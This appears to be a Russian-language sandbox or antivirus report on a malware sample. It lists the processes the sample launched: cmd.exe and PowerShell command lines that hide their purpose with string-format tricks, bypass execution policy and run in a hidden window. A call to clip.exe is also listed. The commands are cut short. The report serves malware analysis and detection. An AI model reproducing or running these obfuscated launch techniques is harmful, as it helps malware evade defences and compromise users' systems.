Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "echO/ sEt-vaRIABlE 387n ([TYpE]("{0}{3}{2}{1}" -f 'E','nT','mE','nviRoN') ); do{^^^&("{1}{0}" -f 'p','slee') 342;${Om`Es} = (ls VArIable:387N ).VaLuE::('G'+'etF'+'olderPath').Invoke(...
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "echO/ sEt-vaRIABlE 387n ([TYpE]("{0}{3}{2}{1}" -f 'E','nT','mE','nviRoN') ); do{^^^&("{1}{0}" -f 'p','slee') 342;${Om`Es} = (ls VArIable:387N ).VaLuE::('G'+'etF'+'olderPath').Invoke(...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /S /D /c" echO/ sEt-vaRIABlE 387n ([TYpE]("{0}{3}{2}{1}" -f 'E','nT','mE','nviRoN') ); do{^&("{1}{0}" -f 'p','slee') 342;${Om`Es} = (ls VArIable:387N ).VaLuE::('G'+'etF'+'olderPath').Inv...
- '<SYSTEM32>\clip.exe'
- '<SYSTEM32>\cmd.exe' /cPowershEll -NoPR -ExECUtIOnpo BypaSS -WinD hiDdEN -ST -NOnintE -NOlo ".(\"{2}{0}{1}\"-f '-',( \"{1}{0}\"-f'pe','Ty' ),'Add' ) -Assem ( \"{5}{0}{6}{2}{4}{1}{3}\"-f 'yst',(\"{0}{1}\" -f ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoPR -ExECUtIOnpo BypaSS -WinD hiDdEN -ST -NOnintE -NOlo ".(\"{2}{0}{1}\"-f '-',( \"{1}{0}\"-f'pe','Ty' ),'Add' ) -Assem ( \"{5}{0}{6}{2}{4}{1}{3}\"-f 'yst',(\"{0}{1}\" -f 'ws.F','o'),'i...
